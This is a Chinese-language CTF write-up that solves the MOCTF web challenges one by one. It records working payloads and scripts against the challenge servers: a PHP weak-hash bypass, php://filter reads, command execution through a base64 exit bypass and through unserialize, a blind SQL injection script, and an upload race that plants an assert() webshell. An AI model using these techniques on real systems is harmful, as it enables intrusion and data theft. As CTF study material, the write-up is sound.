MOCTF-WEB-writeup
好菜,除了簡單的幾個題,自己會做,難的都是看老大WP完成的,太菜了
啥姿勢都不會,就此記錄一下,供日后查看及反省。菜雞的自我修養
0x01 一道水題
題目鏈接:http://119.23.73.3:5001/web1/
直接F12了解一下,get flag:moctf{easy_source_code}
0x02 還是水題
題目鏈接:http://119.23.73.3:5001/web2/
F12查看源碼。
修改之后,輸入moctf提交就可以行了。get flag:moctf{break_the_html}
0x03 訪問限制
題目鏈接:http://119.23.73.3:5001/web3/
BP抓包,將代理的瀏覽器設置為NAIVE,重新發包。get flag:moctf{http_header_1s_easy}
0x04 機器蛇
題目鏈接:http://119.23.73.3:5001/web4/
F12查看源碼
然后訪問robots.txt
最后訪問圖中的地址,即可獲得Flag
get flag:moctf{g0Od_r0bots_txt}
0x05 PHP黑魔法
題目鏈接:http://119.23.73.3:5001/web5/
這題,輸了index.php,看不到任何東西,也不會跳轉到其他頁面,題目給的提示也沒說php~
我太難了(自己太菜)
根據大佬們之前做的,訪問index.php~,查看源碼
<!DOCTYPE html> <!--html lang="zh-CN"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> </head> <body> <?php $flag="moctf{**************}"; if (isset($_GET['a'])&&isset($_GET['b'])) { $a=$_GET['a']; $b=$_GET['b']; if($a==$b) { echo "<center>Wrong Answer!</center>"; } else { if(md5($a)==md5($b)) { echo "<center>".$flag."</center>"; echo "By:daoyuan"; } else echo "<center>Wrong Answer!</center>"; } } else echo "<center>濂藉儚灝戜簡鐐逛粈涔�</center>"; ?> </body> </html-->
根據源碼,知道需要GET傳參的a和b不能相等,而且md5之后的a=b,從這 if(md5($a)==md5($b)) 中的==可以知道,可以利用MD5特性來解決
PHP在處理哈希字符串時,會利用”!=”或”==”來對哈希值進行比較,它把每一個以”0E”開頭的哈希值都解釋為0,所以如果兩個不同的密碼經過哈希以后
其哈希值都是以”0E”開頭的,那么PHP將會認為他們相同,都是0。
可以用兩種方法繞過
1、直接將需要傳參的值賦成如下就行了,md5之后是相等的:
QNKCDZO 240610708 s878926199a s155964671a s214587387a s214587387a sha1(str) sha1('aaroZmOk') sha1('aaK1STfY') sha1('aaO8zKZF') sha1('aa3OFF9m')
//比如說URL傳參為
//http://119.23.73.3:5001/web5/index.php?a=240610708&b=QNKCDZO
2、利用MD5不能處理數組的特性繞過也行
//這里根據題意,a,b不相等,md5($a)==md5($b),如下傳參也行,URL中的69,自己隨意改,不相等就行
http://119.23.73.3:5001/web5/index.php?a[]=6&b[]=9
最后的flag為:moctf{PHP_1s_b4st_language}
0x06 我想要錢
題目鏈接:http://119.23.73.3:5001/web6/
打開得到源碼
<?php include "flag.php"; highlight_file(__FILE__); if (isset($_GET['money'])) { $money=$_GET['money']; if(strlen($money)<=4&&$money>time()&&!is_array($money)) { echo $flag; echo "<!--By:daoyuan-->"; } else echo "Wrong Answer!"; } else echo "Wrong Answer!"; ?> Wrong Answer!
代碼審計。想要獲得Flag,需要滿足三個條件:
//money的長度小於4、money的值大於time、最后不能為數組
if(strlen($money)<=4&&$money>time()&&!is_array($money))
money使用科學計數就可以了,長度小,數值大。
比如?money=3e9
get flag:moctf{I_ne4d_much_m0ney}
0x07 登錄就對了
題目鏈接:http://119.23.73.3:5002/index.php
構造萬能密碼,直接就可以登錄成功,登錄成功之后,F12查看源碼即可獲得Flag,get flag:moctf{SQLi_Log_1n_4asy}
這里講的萬能密碼還不錯:https://www.freebuf.com/column/150063.html
0x08 文件包含
題目鏈接:http://119.23.73.3:5001/web8/index.php?file=welcome.txt
查看源碼,發現有一個flag.php,根據題目文件包含,可以用php://filter偽協議來讀取flag的內容
payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php
關於php://filter偽協議的相關知識,這里說的不錯 https://www.leavesongs.com/PENETRATION/php-filter-magic.html
打開之后會得到一串字符,直接base64解碼即可看到flag
get flag:moctf{f1le_includ4_e5sy}
0x09 暴跳老板
題目鏈接:http://119.23.73.3:5006/web1/
hint:老板暴跳如雷,罵道:你怎么又沒有按照我的意願發郵件?
發啥都不管用,只會這樣彈窗
BP抓包試試
根據題目提示,安裝他說的發送,以及彈窗,應該用Dear的名義發送MyBoss過去
get flag:moctf{00.oo_BBoo_0os}
0x10 Flag在哪?
題目鏈接:http://119.23.73.3:5001/web7/
打開網頁,有一個getflag的鏈接,點擊去啥也沒有,There is no flag!
御劍掃一波,掃不到東西,BP打開,抓包試試。可以看到Response里面
Location有新的鏈接地址,復制發包,最后又回到了最開始的位置,果然
人不能忘了初心,如果人人都初心哥,是不是可以迎娶白富美了(嚶嚶嚶)
想不到,看看表哥們的姿勢。
emmmmmmm 歌曲?PPAP Pen Pineapple Apple Pen
好吧,將之前得到的組合一下flagfrog.php,訪問,即可獲得flag
之前獲得的
/where_is_flag.php
/flag.php
/I_have_a_frog.php
/I_have_a_flag.php
/no_flag.php
get flag:moctf{wh4re_1s_The_F149}
0x11 美味的餅干
題目鏈接:http://119.23.73.3:5001/web9/
登錄頁面,直接使用admin登錄就可以登錄成功,密碼都不需要。BP抓包看看
而且題目為美味的餅干 emmmm cookie?
多次登錄BP,發現這里的Cookie是一個定值
%3D 是等號(=),base64解碼一波
發現里面的字符都是0-9,a-f,MD5解密,解密之后為user,前面用戶輸入的是admin,這里解密出來為user,那么將admin先進行md5加密,再base64加密,然后添加到cookie繼續發包即可獲得flag
get flag:moctf{Co0kie_is_1nter4sting}
0x12 沒時間解釋了
題目鏈接:http://119.23.73.3:5006/web2/index2.php
御劍掃描,發現新大陸。
訪問試試
提交之后,得到一串字符:Flag is here,come on~ http://119.23.73.3:5006/web2/uploads/1338ecebb918f207a7de77008477d150d892c8d4/flag
訪問之后,Too Show,不管提交什么,他前面的地址都一樣,但是訪問的時候,又看不到,應該是提交之后,服務器再很短的時間又給刪除了。
所以,去訪問的時候總是得不到想要的。本題考查的是條件競爭,直接利用BP里面的Intruder模塊進行爆破,來獲取
需要進行兩次抓包,同時發送包,來達到短時間獲取
先抓提交頁面的包
然后設置Payload,這里因為我們沒有payload,所以選擇Null payload,下面的continue indefinitely就是持續發送,一直請求設置完成之后,開始攻擊(start attack)
開始攻擊之后,放在后台,讓他持續發送。接下來繼續抓第二個包。
和上面一樣的設置,然后發送攻擊。
get flag:moctf{y0u_n4ed_f4st}
0x13 死亡退出
代碼審計
<?php show_source(__FILE__); $c="<?php exit;?>"; @$c.=$_POST['c']; @$filename=$_POST['file']; if(!isset($filename)) { file_put_contents('tmp.php', ''); } @file_put_contents($filename, $c); include('tmp.php'); ?>
先看看代碼
首先先定義可一個變量c,里面為一個php代碼,退出功能。
接着是以post的方式獲取變量c,這里 .= 表示他會和上面變量c的內容鏈接起來。
除了post變量c,下面還post了file,那么就是需要同時傳c和file來獲取flag吧
接下來是函數 file_put_contents:
file_put_contents()函數把一個字符串寫入文件中。 該函數訪問文件時,遵循以下規則: 1.如果設置了FILE_USE_INCLUDE_PATH,那么將檢查* filename *副本的內置路徑 2.如果文件不存在,將創建一個文件 3.打開文件 4.如果設置了LOCK_EX,那么將鎖定文件 5.如果設置了FILE_APPEND,那么將移至文件末尾。否則,將會清除文件的內容 6.向文件中寫入數據 7.關閉文件並對所有文件解鎖 如果成功,該函數將返回寫入文件中的字符數。如果失敗,則返回錯誤。
繼續。。。。。。。。
傳參變量C的時候,執行的就是<?php exit;?>再連接輸入的,而執行這個腳本,就直接退出了,就讀取不到任何東西,所以需要繞過
這里就需要用到php://filter偽協議流來進行繞過。使用base64解碼的一個漏洞(不能解碼<、?、空格、?、;、>等這幾個字符),然后就只會解碼phpexit,
而base64解碼是以4個為一組進行解碼的,phpexit只有7個,所以需要添加一個字符構成八個字符,才能正常解碼,這里隨便一個字符就行,能解碼的。
然后再連接我們需要執行獲取flag的命令,所以C的pyaload為:c=aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==(a后面的為<?php system('cat flag.php');?>base64加密之后的字符)
然后就是利用php://filter偽協議了,file的payload為:file=php://filter/write=convert.base64-decode/resource=tmp.php
最終的payload為:c=aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==&file=php://filter/write=convert.base64-decode/resource=tmp.php
get flag:moctf{Base64_d0_n0t_g0_die}
0x14 火眼金睛
題目鏈接:http://119.23.73.3:5001/web10/
打開之后
python腳本為:
import requests import re targeturl = "http://119.23.73.3:5001/web10/" r = requests.get(url=targeturl) res_tr = r"'100'>(.*?)</textarea>" flagtxt = re.findall(res_tr,r.content)[0] re_moctf = r"moctf" moctf = re.findall(re_moctf,flagtxt) number = len(moctf) ans = { "answer":number } url2 = "http://119.23.73.3:5001/web10/work.php" s = requests.post(url=url2,data=ans,cookies=r.cookies) print s.content
這位大哥寫的不錯,各位可以去看看:https://www.jianshu.com/p/4bf347959bd5
get flag:moctf{Programming_1s_important_!!}
0x15 unset
直接給代碼,代碼審計:
<?php highlight_file('index.php'); function waf($a){ foreach($a as $key => $value){
//這里定義的waf函數,正則匹配flag,如果輸入flag,將退出並輸出 are you a hacker if(preg_match('/flag/i',$key)){ exit('are you a hacker'); } } } foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
//定義一個數組,然后放入變量__R中,接下來進行判斷$$__R = $($__R) = $_POST(遍歷的第一個)
//然后開始遍歷,首先$_POST,將post傳參的值賦給$__v
//如果$$__k存在,並且$$__k == $__v的話,那么就銷毀掉$$__k if($$__R) { foreach($$__R as $__k => $__v) { if(isset($$__k) && $$__k == $__v) unset($$__k); } } }
//根據提交參數的方式,進行相應的waf函數 if($_POST) { waf($_POST);} if($_GET) { waf($_GET); } if($_COOKIE) { waf($_COOKIE);}
//檢查POST參數每個鍵名是否合法是否有沖突EXTR_SKIP - 如果有沖突,不覆蓋已有的變量。 if($_POST) extract($_POST, EXTR_SKIP); if($_GET) extract($_GET, EXTR_SKIP); if(isset($_GET['flag'])){ if($_GET['flag'] === $_GET['daiker']){ exit('error'); } if(md5($_GET['flag'] ) == md5($_GET['daiker'])){ include($_GET['file']); } } ?>
分析(看了很多大佬的WP,自己也記錄下,方便以后觀看):
漏洞源地址:http://www.secevery.com:4321/bugs/wooyun-2014-063895
關鍵點在於:
foreach(array('_POST', '_GET', '_COOKIE') as $__R) { if($$__R) { foreach($$__R as $__k => $__v) { if(isset($$__k) && $$__k == $__v) unset($$__k); } } }
if($_POST) extract($_POST, EXTR_SKIP); if($_GET) extract($_GET, EXTR_SKIP);
算了,以后理解透了,再回來寫,沒理解 ,寫不下去,太菜了???
還是先用大佬的WP記錄下,方便以后觀看
源地址:https://www.jianshu.com/p/4bf347959bd5
代碼執行第一階段:
這個漏洞的實現需要post和get同時使用
以post提交內容:如果我們向url:1.php?x=1提交一個POST請求 內容為 _GET[x]=1
在url中提交內容:因為在uril:中?x=1 使 $_GET 內容為 array('x'=>'1')
當開始遍歷_POST的時候$__R=_POST
$$__R=$($_R)=$_POST(也就是我們post提交的內容_GET[x]=1)
繼續遍歷$_POST==(_GET[x]=1)得到$k(也就是_GET) => $__v=array('x'=>'1')
繼續判斷$$__k=$($__k)=$_GET=array('x'=>'1')
此時此刻$$__k == $__v成立所以 我們的超全局變量 $_GET就會被unset(銷毀)了
代碼執行第二階段:
此時將會對$_POST、$_GET、$_COOKIE,由於我們在上一步已經將$_GET請求unset掉了,所以在這里是檢查不到我們的$_GET請求的。
if($_POST) { waf($_POST);} if($_GET) { waf($_GET); } if($_COOKIE) { waf($_COOKIE);} function waf($a){ foreach($a as $key => $value){ if(preg_match('/flag/i',$key)){ exit('are you a hacker'); }}}
代碼執行第三階段:
檢查POST參數每個鍵名是否合法是否有沖突,將會正常初始化$_GET。
EXTR_SKIP - 如果有沖突,不覆蓋已有的變量,將會使用原來$_GET的值。
if($_POST) extract($_POST, EXTR_SKIP); if($_GET) extract($_GET, EXTR_SKIP);
代碼執行第四階段:
簡單的MD5弱類型繞過就行
if(isset($_GET['flag'])){ if($_GET['flag'] === $_GET['daiker']){ exit('error'); } if(md5($_GET['flag'] ) == md5($_GET['daiker'])){ include($_GET['file']); } }
最后構造payload:
利用google hackbar進行構造,不知道為什么我的火狐安不上了。
關於如何再Google上安裝hackbar,可以看這里:https://mp.weixin.qq.com/s/8nxHxJRr3U52xbfhpirxmA
最后base64解碼即可,get flag:moctf{e2181b5o14a67159cc23oc8feod6c5b6}
0x16 PUBG
題目鏈接:http://120.78.57.208:6001/?LandIn=school
在這里可以獲取源碼
<html> <title>MOCTF吃雞大賽</title> <style type="text/css"> a{ text-decoration:none; color:white; } body { background:url('image/PUBG.jpg'); background-attachment:fixed; background-repeat:no-repeat; background-size:cover; -moz-background-size:cover; -webkit-background-size:cover; } center { color:white; } </style> <body> <center> <p>你現在正在飛機上,請選擇要跳的地方</p></br> <p><a href="?LandIn=airport">機場</a></p> <p><a href="?LandIn=school">學校</a></p> <p><a href="?LandIn=field">打野</a></p> <p><a href="?LandIn=AFK">上個廁所</a></p> </center> </body> </html> <?php error_reporting(0); include 'class.php'; if(is_array($_GET)&&count($_GET)>0) { if(isset($_GET["LandIn"])) { $pos=$_GET["LandIn"]; } if($pos==="airport") { die("<center>機場大仙太多,你被打死了~</center>"); } elseif($pos==="school") { echo('</br><center><a href="/index.html" style="color:white">叫我校霸~~</a></center>'); $pubg=$_GET['pubg']; $p = unserialize($pubg); // $p->Get_air_drops($p->weapon,$p->bag); } elseif($pos==="AFK") { die("<center>由於你長時間沒動,掉到海里淹死了~</center"); } else { die("<center>You Lose</center>"); } } ?>
可以看到,在上面引用了class.php,同樣的道理,獲取一波源碼,class.php.bak
再下面,有用的信息有,需要$pos===school,並且URL傳參pubg,且需要反序列化,到此結束。
再看class.php的內容:
<?php include 'waf.php'; class sheldon{ public $bag="nothing"; public $weapon="M24"; // public function __toString(){ // $this->str="You got the airdrop"; // return $this->str; // } public function __wakeup() { $this->bag="nothing"; $this->weapon="kar98K"; } public function Get_air_drops($b) { $this->$b(); } public function __call($method,$parameters) { $file = explode(".",$method); echo $file[0]; if(file_exists(".//class$file[0].php")) { system("php .//class//$method.php"); } else { system("php .//class//win.php"); } die(); } public function nothing() { die("<center>You lose</center>"); } public function __destruct() { waf($this->bag); if($this->weapon==='AWM') { $this->Get_air_drops($this->bag); } else { die('<center>The Air Drop is empty,you lose~</center>'); } } } ?>
這里又引用了waf.php,可惜不能得到源碼
這里,他定義了一個sheldon類,從index.php來看,序列化應該是需要構造這個對象了
(大佬博客 http://she1don.cn/ 好像是他出的題)
在這個類里面,又兩個成員變量,和5個成員函數
先來看第一個函數,__wakeup魔法函數,__wakeup()函數在其所在對象反序列化的時候自動調用。一旦調用之后,成員變量就會變成bag=nothing,weapon=kar98k
(這里需要繞過,當成員屬性數目大於實際數目時可繞過wakeup方法)
再來看第二個函數:Get_air_drops($b)
這個函數就是傳入b這個變量,然后執行b()這個函數
第三個函數:__call($method,$parameters)
__call函數是用於監視錯誤的方法調用的,也就是說如果,我們調用了不在sheldon類里面的函數,這個函數就會執行,這里是可控的地方,解題的關鍵。
在函數里面,需要(file_exists(".//class$file[0].php"))這個成立,才有機會執行systen系統命令,才有機會獲取flag
所以為了滿足if條件,我們可以將method賦值為“//win.php**********************”而file[0]在經過 $file = explode(".",$method);函數后變為 //win 也就是說為 .//class//win.php(而這個文file肯定是存在的,也就繞過了if)。而為了得到我們需要的flag,我們就要在上面寫的******中放入命令來執行bash。
最后一個函數:__destruct(),為析構函數,他在對象內容執行結束后會調用析構函數,也就是說必然會執行這個函數,這里也需要操作,這里只有weapon==AWM的時候,才會執行之前的Get_air_drops($b)函數,而這里他把b變量變成了bag,也就是說,在Get_air_drops($bag),會執行bag()函數,這不是sheldon類里面的,這樣就會調用__call函數。
最后理一下,在這個腳本中,肯定會執行析構函數,然后,讓$b變成不是sheldon類里面的函數,從而調用__call,因為在腳本中,存在檢測反序列化的魔法函數__weakup(),這里需要先繞過,這樣才能使得不讓初始的成員變量的值變成__weakup里面的值,導致無法調用Get_air_drops($b)函數。繞過之后,就可以來執行__call函數了,就可以構造我們的命令,來獲取flag。
所以最后的payload為:&pubg=O:7:"sheldon":3:{s:3:"bag";s:27:"//win.php| cat ./class/flag";s:6:"weapon";s:3:"AWM";}
在payload里面有一個管道符 | ,在它之后的命令也會執行,所以能打印出來flag,而不是或。
提交之后,在源碼里面就可以看到flag了
get flag:moctf{Try_Learn_PhP_h4rder_wow}
0x17 網站監測
這個不知道是不是掛了
0x18 Code Revolution
題目鏈接:http://www.laohulaohuhu.cn:32771/
直接登錄
登錄進去之后是,phpinfo()的界面
搜索disable_functions看看他禁用了什么函數
查看他的robots.txt發現
if (preg_match("/sess_|php(\w)+/is", $_GET['page']) || $_GET['page'] === 'index.php') { $_GET['page'] = "login.php"; }else if (preg_match("/filter(.+)resource/is", $_GET['page'])) { $test = substr(file($_GET['page'])[0], 0, 5); if (preg_match("/filter(.+\..+)resource/is", $_GET['page']) || $test === "\x7f\x45\x4c\x46\x02" || $test === "\x83\x96\xb8\xbc\xeb") { $_GET['page'] = "login.php"; } }
正則匹配$_GET提交的page,是不是不能使用php://filter偽協議來執行?
未解之題,日后再說......
0x19 簡單注入
打開之后,F12查看,發現注入點,id=1
然后輸入id=1、2,3,分別得到:
Welcome to MOCTF!
Flag is in the database!
The table name length is greater than 20!
表名很長。
開始注入:
輸入?id=1' and 1=1
WHAT A FUCK!
emmmmm
小菜雞注入姿勢少,所以又去看看大佬WP了
搬運一下,學習
第一步:
判斷是否使用了trim()函數,該函數用於移除字符左右兩邊的空格。
在URL上輸入?id=1 (id后面有空格)回顯正常
再輸入?id=1 1 ,這里頁面返回的是空白,也就是說變成了id=11,
從前面我們測試知道,只有id=1,2,3的時候會有數據,如果沒有過濾空格的話,應該會顯示數據
所以確定空格被過濾了。
能夠代替空格的字符有(拿小本本記下)只有()沒有被過濾,所以可以用()代替空格,進行構造。
%20 空格 %09 制表符 %0a 換行 %0b %0c %0d 回車 %a0 %00 æ /**/ ()
第二步:
判斷后端的SQL查詢語句,匹配的時候用的整型還是字符型
關於判斷是整型還是字符型注入,這里講的不錯:https://www.cnblogs.com/xyhacker/p/10022858.html
這里因為輸入?id=1正常,加上單引號之后,回顯的是空白也,並沒有出現waf,所以判斷為字符型注入,並且嗎,沒有被過濾。
第三步:
嘗試使用注釋符閉合
嘗試id=1'# 注釋掉后面的單引號完成閉合。
以下注釋中有些被過濾了 有些沒有,但是使用注釋后頁面無法正常顯示,沒有成功。
//, -- , /**/, #, --+, -- -, ;%00
嘗試id=1' and '1'='1 進行閉合
因為空格用()替換,'為%27,所以構造如下
id=1%27and(%271%27)=%271
運行后頁面顯示正常,驗證成功
第四步:判斷可用字符
利用相同方法帶入發現union聯合注入、or、<、>都不可用。
可以使用and、select查詢字符。
第五步:邏輯判斷
邏輯判斷
帶入id=1'and'1'='1成立
這里用數據庫長度進行舉例
id=1'and length(database()) ='1
構造后如下,經判斷當前數據庫名長度為5成立。
1'and(length(database()))='5
最后附上大佬的腳本:
import string import requests chars = '!@$%^&*()_+=-|}{ :?><[];,./`~' string = string.ascii_letters+string.digits+chars rs = requests.session() flag = "" # 正確payload # payload = "http://119.23.73.3:5004/?id=2'^(ascii(mid((select(group_concat(schema_name))from(information_schema.schemata)),{0},1))={1})^'1" # payload = "http://119.23.73.3:5004/?id=2'^(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),{0},1))={1})^'1" # payload = "http://119.23.73.3:5004/?id=2'^(ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_schema)=database()),{0},1))={1})^'1" payload = "http://119.23.73.3:5004/?id=2'^(ascii(mid((select(d0_you_als0_l1ke_very_long_column_name)from(do_y0u_l1ke_long_t4ble_name)),{0},1))={1})^'1" //在and禁用的時候可以使用^進行異或判斷。 for i in range(0, 500): # for j in string: for j in range(33, 127): url = payload.format(str(i), str(j)) s = rs.get(url) # print url if 'Flag' in s.text: flag = flag + chr(j) print flag
太棒了,學到了很多
get flag:moctf{b1ind_SQL_1njecti0n_g0od}
0x20 簡單審計
題目鏈接:http://120.78.57.208:6005/
<?php error_reporting(0); include('config.php'); header("Content-type:text/html;charset=utf-8");
//生成六位a-z的隨機數 function get_rand_code($l = 6) { $result = ''; while($l--) { $result .= chr(rand(ord('a'), ord('z'))); } return $result; } function test_rand_code() { $ip=$_SERVER['REMOTE_ADDR']; $code=get_rand_code(); $socket = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP); @socket_connect($socket, $ip, 8888); @socket_write($socket, $code.PHP_EOL); @socket_close($socket); die('test ok!'); } //對上傳文件的設置 function upload($filename, $content,$savepath) {
//白名單 $AllowedExt = array('bmp','gif','jpeg','jpg','png'); if(!is_array($filename)) { $filename = explode('.', $filename);
//上傳的這些文件,以.作為分隔符,形成數組,比如說上傳的為tx.jpg,那么形成的數組就是:array('0'=>'tx','1'=>'jpg') }
//strtolower(),把所有字符轉換為小寫,判斷數組最后一個的格式,是否是白名單里的。這里沒有對數組進行處理。 if(!in_array(strtolower($filename[count($filename)-1]),$AllowedExt)){ die('error ext!'); }
$code=get_rand_code();
//最終的上傳文件名格式 上傳的文件名($filename[0])+ moctf + 六位隨機數 + 數組最后一位。 $finalname=$filename[0].'moctf'.$code.".".end($filename); waf2($finalname);
//把POST請求的有數據寫到帶有路徑的文件中 file_put_contents("$savepath".$finalname, $content);
//延遲 usleep(3000000);
//把moctf寫到帶有路徑的文件中 file_put_contents("$savepath".$finalname, "moctf"); unlink("$savepath".$finalname);//刪除帶有路徑的文件 die('upload over!'); } $savepath="uploads/".sha1($_SERVER['REMOTE_ADDR'])."/";//路徑為: upload/訪客IP的哈希值/ if(!is_dir($savepath)){ $oldmask = umask(0);//設置權限為777 mkdir($savepath, 0777);//創建目錄 umask($oldmask);//關閉權限 } if(isset($_GET['action'])) { $act=$_GET['action']; if($act==='upload')//GET傳參參數如果為upload { $filename=$_POST['filename'];//POST傳參參數為filename if(!is_array($filename)) { $filename = explode('.', $filename);
//如果filename不是數組的話,就以 . 作為分隔符,形成數組 } $content=$_POST['content']; waf($content); upload($filename,$content,$savepath); } else if($act==='test') { test_rand_code(); } } else { highlight_file('index.php'); } ?>
上面大體上就是對代碼的一些理解。
這里看的是這個大哥的非預期的解,大哥博客:https://skysec.top/
首先構造數組繞過
if(!in_array(strtolower($filename[count($filename)-1]),$AllowedExt)){ die('error ext!'); }
這里的 $filename[count($filename)-1 不一定是最后一個,所以可以這樣構造
$filename= array('0'=> '1','2'=>'jpg','3'=>'php');
這樣3-1=2 ,filename[2] = jpg,在白名單里面,就可以繞過白名單了
上傳的文件名就為:1moctf.$code.php
具體解題步驟可轉到這位大師傅:https://skysec.top/2018/02/13/happymoctf%E4%B9%8Bweb%E5%85%A8%E9%A2%98%E8%A7%A3/#%E7%AE%80%E5%8D%95%E5%AE%A1%E8%AE%A1
官方WP:
兩個腳本:
listen.py
1 #監聽8888端口,接受6個`get_rand_code`的結果,然后預測接下來一次`get_rand_code`的結果,這里可能不會很准確, 2 #所以需要小幅度爆破,復雜度大概為3^6,反正就跑着唄 3 #!/usr/bin/env python 4 #-*- coding:utf-8 -*- 5 #by xishir 6 import requests as req 7 import re 8 from socket import * 9 from time import ctime 10 import random 11 import itertools as its 12 import hashlib 13 r=req.session() 14 url="http://120.78.57.208:6005/" 15 def get_rand_list(): 16 HOST = '' 17 PORT = 8888 18 BUFSIZ = 128 19 ADDR = (HOST, PORT) 20 tcpSerSock = socket(AF_INET, SOCK_STREAM) 21 tcpSerSock.bind(ADDR) 22 tcpSerSock.listen(5) 23 rand_num=0 24 l=[] 25 while True: 26 tcpCliSock, addr = tcpSerSock.accept() 27 while True: 28 data = tcpCliSock.recv(BUFSIZ) 29 if not data: 30 break 31 data=data[0:6] 32 print data,l 33 for i in data: 34 l.append(ord(i)+1-ord('a')) 35 rand_num+=1 36 if rand_num==6: 37 break 38 tcpCliSock.close() 39 tcpSerSock.close() 40 return l 41 def get_salt(l): 42 salt="" 43 for i in range(6): 44 j=len(l) 45 r=(l[j-3]+l[j-31])-1 46 if r>26: 47 r-=26 48 #print l[j-3],chr(l[j-3]+ord('a')-1),l[j-31],chr(l[j-31]+ord('a')-1),r,chr(r+ord('a')-1) 49 l.append(r) 50 salt+=chr(r+ord('a')-1) 51 #print salt 52 return salt 53 def get_flag(salt): 54 s=hashlib.sha1('119.23.73.3').hexdigest() 55 url1=url+'/uploads/'+s+'/'+'moctf'+salt+'.php' 56 data={"a":"system('cat ../../flag.php');echo '666666';"} 57 r2=r.post(url1,data=data) 58 print salt 59 if '404' not in r2.text: 60 print r2.text 61 get_flag('aaaaaa') 62 l=get_rand_list() 63 salt=get_salt(l) 64 s=0 65 for i in range(100000): 66 s=s+1 67 print s 68 words = "10" 69 o=its.product(words,repeat=6) 70 for i in o: 71 s="".join(i) 72 salt2="" 73 for j in range(6): 74 salt2+=chr(ord(salt[j])-int(s[j])) 75 get_flag(salt2) 76 words = "10" 77 o=its.product(words,repeat=6) 78 for i in o: 79 s="".join(i) 80 salt2="" 81 for j in range(6): 82 salt2+=chr(ord(salt[j])+int(s[j])) 83 get_flag(salt2)
put.py
1 #通過`?action=test`調用`test_rand_code`函數發送6次`get_rand_code`結果,一共36個字符, 2 #然后提交一個構造好的`?action=test`,上傳shell到服務器,在被刪除之前就會被listen爆破得到,沒爆破到就多爆破幾次 3 #!/usr/bin/env python 4 #-*- coding:utf-8 -*- 5 #by xishir 6 import requests as req 7 import re 8 r=req.session() 9 url="http://120.78.57.208:6005/?action=" 10 def get_test(): 11 url2=url+"test" 12 r1=r.get(url2) 13 print url2 14 print r1.text 15 def upload(): 16 data={"filename[4]":"jpg", 17 "filename[2]":"jpg", 18 "filename[1]":"php", 19 "content":"<script language='php'>assert($_POST[a]);</script>", 20 "a":"system('cat ../../flag.php');" 21 } 22 url1=url+"upload" 23 r2=r.post(url1,data=data) 24 print r2.text 25 for i in range(6): 26 get_test() 27 upload()
0x21 EasySQL
題目鏈接:http://www.laohulaohuhu.cn:32770/